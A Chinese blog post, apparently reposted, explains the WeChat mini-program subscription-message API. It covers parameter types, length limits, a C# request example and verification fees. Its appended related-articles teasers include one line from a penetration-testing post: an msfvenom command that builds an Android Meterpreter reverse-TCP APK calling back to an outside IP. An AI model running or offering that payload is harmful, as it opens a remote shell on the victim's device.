【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

🌹欢迎来到《小5讲堂》🌹
🌹这是《小程序》系列文章,每篇文章将以博主理解的角度展开讲解。🌹
🌹温馨提示:博主能力有限,理解水平有限,若有不对之处望指正!🌹

在这里插入图片描述

目录

  • 前言
  • 服务通知
  • 接口调用
    • API接口
    • 请求参数
    • Data参数说明
  • C#调用例子
  • 微信认证
  • 推荐文章

前言

这次的发送小程序订阅消息的API接口,知道一些参数会有长度限制,但是具体是多长,有时候时间久了,容易忘记,或者平台可能已经修改了规则。
所以本次就简单记录下官方对于发送订阅消息的一些参数信息。

服务通知

发送一次性订阅服务,接收效果如下:
在这里插入图片描述

接口调用

API接口

在调用发送订阅消息接口前,需要调用接口获取AccessToken接口。

post请求
https://api.weixin.qq.com/cgi-bin/message/subscribe/send?access_token=ACCESS_TOKEN

请求参数

关键是data参数

属性类型必填说明
access_tokenstring接口调用凭证,该参数为 URL 参数,非 Body 参数。使用 getAccessTokenauthorizer_access_token
template_idstring所需下发的订阅模板 ID。
pagestring点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数(如 index?foo=bar)。无跳转时可不填。
touserstring接收者(用户)的 openid。
dataobject模板内容,格式如:"phrase3": { "value": "审核通过" }"name1": { "value": "订阅" } 等。
miniprogram_statestring跳转小程序类型:developer(开发版)、trial(体验版)、formal(正式版)。默认为 formal
langstring进入小程序查看的语言类型,支持 zh_CN(简体中文)、en_US(英文)、zh_HK(繁体中文)、zh_TW(繁体中文)。默认为 zh_CN

Data参数说明

订阅消息参数值内容限制说明

参数类别参数说明参数值限制说明
thing.DATA事物20个以内字符可汉字、数字、字母或符号组合。
number.DATA数字32位以内数字只能数字,可带小数。
letter.DATA字母32位以内字母只能字母。
symbol.DATA符号5位以内符号只能符号。
character_string.DATA字符串32位以内数字、字母或符号可数字、字母或符号组合。
time.DATA时间24小时制格式(支持+年月日),支持短时间段例如:15:01,或:2019年10月1日 15:01,用“-”连接两个时间点。
date.DATA日期年月日格式(支持+24小时时间),支持短时间段例如:2019年10月1日,或:2019年10月1日 15:01,用“-”连接两个时间点。
amount.DATA金额1个币种符号+10位以内纯数字,可带小数结尾可带“元”,例如:¥100.50元
phone_number.DATA电话17位以内,数字、符号例如:+86-0766-66888866
car_number.DATA车牌8位以内,首位和末位可为汉字,其余为字母或数字例如:粤A82888挂
name.DATA姓名10个以内纯汉字或20个以内纯字母或符号中文名限10字内;英文名限20字母内;混合按中文名计算(10字内)。
phrase.DATA汉字5个以内汉字例如:配送中
enum.DATA枚举值只能上传枚举值范围内的字段值需调用接口获取具体枚举值参考。

C#调用例子

博主这里选择的是下面模板,两个参数都是属于thing,所以都只能输入20个以内字符,程序上需要做一个长度逻辑判断,否则提交超过20个字符会发送失败。
在这里插入图片描述

public static string message_subscribe_send = "https://api.weixin.qq.com/cgi-bin/message/subscribe/send?access_token={0}";      // 订阅信息发送public static async Task<string> MsgSubSend(string access_token)
{var requestBody= new{thing1 = new{value = $"xxx"},thing2 = new{value = $"xxx"},};string url = string.Format(message_subscribe_send, access_token);var client = new RestClient(url);var request = new RestRequest();request.Method = Method.Post;request.AddHeader("Content-Type", "application/json");// 请求体内容 - 例如下面/*var requestBody = new{touser = 小程序用户openid,	// 接收消息的用户IDpage = "pages/index/index",	// 点击查看详情时跳转到的小程序页template_id,				// 模板IDdata						// 具体请求数据};*/// 将请求体序列化为JSON字符串string jsonRequestBody = System.Text.Json.JsonSerializer.Serialize(requestBody);request.AddParameter("application/json", jsonRequestBody, ParameterType.RequestBody);request.AddJsonBody(requestBody);var response = await client.ExecuteAsync(request);// {"errcode":43101,"errmsg":"user refuse to accept the msg rid: 687c5367-120bba99-2648e680"}// {"errcode":47003,"errmsg":"argument invalid! data.thing1.value invalid rid: 687c53ec-71c2491d-739b7172"}// {"errcode":0,"errmsg":"ok","msgid":4083364991775162371}return response?.Content ?? string.Empty;
}

微信认证

这里博主顺便给大家分享一个现在小程序认证的信息,可能会有一些小伙伴好久没有接触小程序了,希望能给大家一个参考。

对于个人和个体户都统一改为了30元每年的认证费用,注意不管是个人还是个体户,每年都需要认证,也就是年审。

那么小伙伴就会问了,个人的可以不认证吗?答案是可以的,不过会有一个前提条件,就是会被限制,比如不可以在微信里搜索到等。

如果是第二次认证,那么没有其他明细资料不对情况下,一般1个小时内就搞定。
博主是周日早上10点左右完成认证提交重新提交(主要还是主体人扫码就搞定),提交后,立马就会有人打电话过来核对,之前1小时左右就完成了认证。
在这里插入图片描述

推荐文章

【小程序】微信小程序开发,给用户发送一次性订阅消息,常见参数长度和数据类型说明,你值得收藏

【小程序】微信小程序开发,分享给朋友或者朋友圈的功能增加地址参数,以及如何进行带参数本地测试

【小程序】.net core2.1对接微信支付开发时自己挖的坑

【前端】微信小程序,同名图片缓存问题,增加图片后缀动态参数值解决

【小程序】常用方法、知识点汇总1

【腾讯云】AI驱动TDSQL-C Serveress 数据库技术实战营-如何是从0到1体验电商可视化分析小助手得统计功能,一句话就能输出目标统计图

【随笔】博客质量分计算,如何让自己的博客脱颖而出,也许文章能够给你答案

【Sql Server】sql server 2019设置远程访问,外网服务器需要设置好安全组入方向规则

【千帆AppBuilder】零代码+组件+代码节点方式实现AI应用《法定退休年龄计算器》

【1024程序员节】分享下博主的AI应用之旅,有哪些好玩有趣的智能体呢,不妨一起探索下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/92727.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/92727.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pytorch深度学习框架实战教程-番外篇05-Pytorch全连接层概念定义、工作原理和作用

相关文章 视频教程 《Pytorch深度学习框架实战教程01》《视频教程》 《Pytorch深度学习框架实战教程02&#xff1a;开发环境部署》《视频教程》 《Pytorch深度学习框架实战教程03&#xff1a;Tensor 的创建、属性、操作与转换详解》《视频教程》 《Pytorch深度学习框架实战…

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享

生产环境中Spring Cloud Config高可用与动态刷新实战经验分享 一、业务场景描述 在微服务架构中&#xff0c;配置中心承担集中化管理各微服务配置的职责。随着服务实例数量增加&#xff0c;单点部署的Spring Cloud Config Server无法满足生产环境的高可用需求。同时&#xff0c…

华为服务器中Mindie镜像的部署及启动方法

一、部署方法 首先要安装好Docker,然后点开网址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取镜像需要申请权限: 注册登录后,即可提交申请,一般需要一个工作日,等审核通过后,点击下载即可弹出如下提示框: 按照上述方法…

Unity基于Recoder的API写了一个随时录屏的工具

Tips: 需要有Recorder Package引用或存在在项目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓渗透基础(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一个工具&#xff0c;用于给 APK 文件签名&#xff0c;确保应用的完整性和安全性。进入 File > Settings > Appearance &a…

从零构建自定义Spring Boot Starter:打造你的专属开箱即用组件

一、引言:为什么需要自定义Spring Boot Starter Spring Boot的核心理念是"约定优于配置",而Starter(启动器)正是这一理念的最佳实践。官方提供的Starter(如spring-boot-starter-web、spring-boot-starter-data-jpa)通过封装常用组件的配置,让开发者能够"…

MySQL 基础操作教程

MySQL 是目前最流行的开源关系型数据库管理系统之一&#xff0c;广泛应用于Web开发、数据分析等场景。掌握基础的增删改查操作是入门的关键。本文将从环境准备开始&#xff0c;带你深入&#xff0c;mysql一、前置准备&#xff1a;安装与连接 MySQL 1. 安装 MySQL Windows&#…

批量把在线网络JSON文件(URL)转换成Excel工具 JSON to Excel by WTSolutions

产品介绍 JSON to Excel by WTSolutions 是一款功能强大的工具&#xff0c;能够将JSON数据快速转换为Excel格式。该工具提供两种使用方式&#xff1a;作为Microsoft Excel插件或作为在线网页应用&#xff0c;满足不同用户的需求。无论是处理简单的扁平JSON还是复杂的嵌套JSON结…

【排序算法】③直接选择排序

系列文章目录 第一篇&#xff1a;【排序算法】①直接插入排序-CSDN博客 第二篇&#xff1a;【排序算法】②希尔排序-CSDN博客 第三篇&#xff1a;【排序算法】③直接选择排序-CSDN博客 第四篇&#xff1a;【排序算法】④堆排序-CSDN博客 第五篇&#xff1a;【排序算法】⑤冒…

2024年ESWA SCI1区TOP,自适应种群分配和变异选择差分进化算法iDE-APAMS,深度解析+性能实测

目录1.摘要2.自适应种群分配和变异选择差分进化算法iDE-APAMS3.结果展示4.参考文献5.代码获取6.算法辅导应用定制读者交流1.摘要 为了提高差分进化算法&#xff08;DE&#xff09;在不同优化问题上的性能&#xff0c;本文提出了一种自适应种群分配和变异选择差分进化算法&…

目标检测数据集 - 无人机检测数据集下载「包含COCO、YOLO两种格式」

数据集介绍&#xff1a;无人机检测数据集&#xff0c;真实采集高质量含无人机图片数据&#xff0c;适用于空中飞行无人机的检测。数据标注标签包括 drone 无人机一个类别&#xff1b;适用实际项目应用&#xff1a;无人机检测项目&#xff0c;以及作为通用检测数据集场景数据的补…

Linux DNS服务解析原理与搭建

一、什么是DNSDNS 是域名服务 (Domain Name System) 的缩写&#xff0c;它是由解析器和域名服务器组成的。 域名服务器是指保存有该网络中所有主机的域名和对应IP地址&#xff0c; 并具有将域名转换为IP地址功能的服务器。 域名必须对应一个IP地址&#xff0c;而IP地址不一定有…

typecho博客设置浏览器标签页图标icon

修改浏览器标签页图标&#xff08;favicon.ico&#xff09;&#xff1a;第1种&#xff1a;上传到服务器本地目录1、制作图标文件&#xff1a;准备一张长宽比为 1:1 的图片&#xff0c;将其上传到第三方 ico 生成网站&#xff0c;生成后缀为.ico 的图片文件&#xff0c;并将其命…

LoadBalancingSpi

本文是 Apache Ignite 中 Load Balancing SPI&#xff08;负载均衡服务提供接口&#xff09; 的核心说明&#xff0c;特别是其默认实现 RoundRobinLoadBalancingSpi 的工作原理。 它解释了 Ignite 如何在集群中智能地将任务&#xff08;Job&#xff09;分配到不同的节点上执行&…

Day43--动态规划--674. 最长连续递增序列,300. 最长递增子序列,718. 最长重复子数组

Day43–动态规划–674. 最长连续递增序列&#xff0c;300. 最长递增子序列&#xff0c;718. 最长重复子数组 674. 最长连续递增序列 方法&#xff1a;动态规划 思路&#xff1a; dp[i]含义&#xff1a;到i这个位置&#xff08;包含i&#xff09;的连续递增子序列的长度递推…

支持 UMD 自定义组件与版本控制:从 Schema 到动态渲染

源码 ⸻ 支持 UMD 自定义组件与版本控制&#xff1a;从 Schema 到动态渲染 在低代码平台或可视化大屏 SDK 中&#xff0c;支持用户上传自定义组件 是一个必备能力。 而在 React 场景下&#xff0c;自定义组件通常以 UMD 格式 打包并暴露为全局变量。 本篇文章&#xff0c;我…

zookeeper3.8.4安装以及客户端C++api编译

服务端直接下载编译好的bin版本 Apache Download Mirrors C客户端需要编译库文件 zookeeper 3.8.4 使用与C API编译 - 丘狸尾 - 博客园 杂七杂八的依赖 sudo apt update sudo apt install -y \autoconf automake libtool libtool-bin m4 pkg-config gettext \cmake build-es…

使用行为树控制机器人(一) —— 节点

文章目录一、背景需求二、创建ActionNodes1. 功能实现1.1 头文件定义1.2 源文件实现1.3 main文件实现1.4 my_tree.xml 实现2. 执行结果三、 执行失败处理1. 添加尝试次数1.1 功能实现1.2 实验结果2. 完善异常处理2.1 多节点组合兜底2.2 实验结果使用行为树控制机器人(一) —— …

JavaScript Window Location

JavaScript Window Location JavaScript中的window.location对象是操作浏览器地址栏URL的一个非常有用的对象。它允许开发者获取当前页面的URL、查询字符串、路径等&#xff0c;并且可以修改它们来导航到不同的页面。以下是关于window.location的详细解析。 1. window.location…